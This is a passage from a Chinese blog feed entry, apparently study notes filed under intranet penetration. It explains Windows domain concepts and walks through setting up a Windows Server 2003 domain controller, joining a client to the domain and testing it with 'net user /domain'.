title="域森林"></a>域森林</h4><p>多个域树建立信任关系组成的集合。<br><img src="/images/pasted-307.png" alt="upload successful"><br>域名服务器<br>实现域名与ip地址转换的服务器，DNS服务器和域控制器通常配置在同一台机器上<br>活动目录<br>用于存储有关网络对象(例如用户，组，计算机，共享资源，打印机和联系人等)的信息。安装活动目录数据的计算机就是DC                                                                               </p><h4 id="域名服务器"><a href="#域名服务器" class="headerlink" title="域名服务器"></a>域名服务器</h4><p>实现域名与ip地址转换的服务器，DNS服务器和域控制器通常配置在同一台机器上</p><p>活动目录</p><p>用于存储有关网络对象(例如用户，组，计算机，共享资源，打印机和联系人等)的信息。安装活动目录数据的计算机就是DC</p><h3 id="windows-server-2003搭建域控制器"><a href="#windows-server-2003搭建域控制器" class="headerlink" title="windows_server_2003搭建域控制器"></a>windows_server_2003搭建域控制器</h3><h4 id="设置ip，子网掩码，dns指向本地ip"><a href="#设置ip，子网掩码，dns指向本地ip" class="headerlink" title="设置ip，子网掩码，dns指向本地ip"></a>设置ip，子网掩码，dns指向本地ip</h4><p><img src="/images/pasted-310.png" alt="upload successful"></p><h4 id="更改计算机名"><a href="#更改计算机名" class="headerlink" title="更改计算机名"></a>更改计算机名</h4><p><img src="/images/pasted-311.png" alt="upload successful"><br>需要重启计算机</p><h4 id="安装域控制器和DNS服务"><a href="#安装域控制器和DNS服务" class="headerlink" title="安装域控制器和DNS服务"></a>安装域控制器和DNS服务</h4><p><img src="/images/pasted-312.png" alt="upload successful"></p><p><img src="/images/pasted-313.png" alt="upload successful"><br>然后一路默认就行</p><p>新建立用户<br><img src="/images/pasted-314.png" alt="upload successful"></p><p><img src="/images/pasted-315.png" alt="upload successful"></p><h4 id="加入域"><a href="#加入域" class="headerlink" title="加入域"></a>加入域</h4><p>加入的人设置dns设置为域设置时候的dns服务器<br><img src="/images/pasted-316.png" alt="upload successful"></p><p><img src="/images/pasted-317.png" alt="upload successful"></p><p><img src="/images/pasted-318.png" alt="upload successful"></p><p>如果加入的时候提示拒绝应该是非正常脱离域</p><p>到这里将其删除重写连接就行了</p><p><img src="/images/pasted-319.png" alt="upload successful"></p><h5 id="登录到域"><a href="#登录到域" class="headerlink" title="登录到域"></a>登录到域</h5><p><img src="/images/pasted-322.png" alt="upload successful"><br>向域发送一个请求测试一下</p><pre><code>net user /domain</code></pre><p><img src="/images/pasted-323.png" alt="upload successful"></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3 id=&quot;工作组&quot;&gt;&lt;a href=&quot;#工作组&quot; class=&quot;headerlink&quot; title=&quot;工作组&quot;&gt;&lt;/a&gt;工作组&lt;/h3&gt;&lt;p&gt;为了方便区分不同的计算机的功能，划分了不同的组(没有服务器和客户机之分),右键”我的电脑”-&amp;gt;”属性”-&amp;gt;”更改”，里面
      
    
    </summary>
    
    
      <category term="内网渗透" scheme="https://lnng.top/categories/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F/"/>
    
    
      <category term="学习笔记" scheme="https://lnng.top/tags/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    
  </entry>
  
</feed>
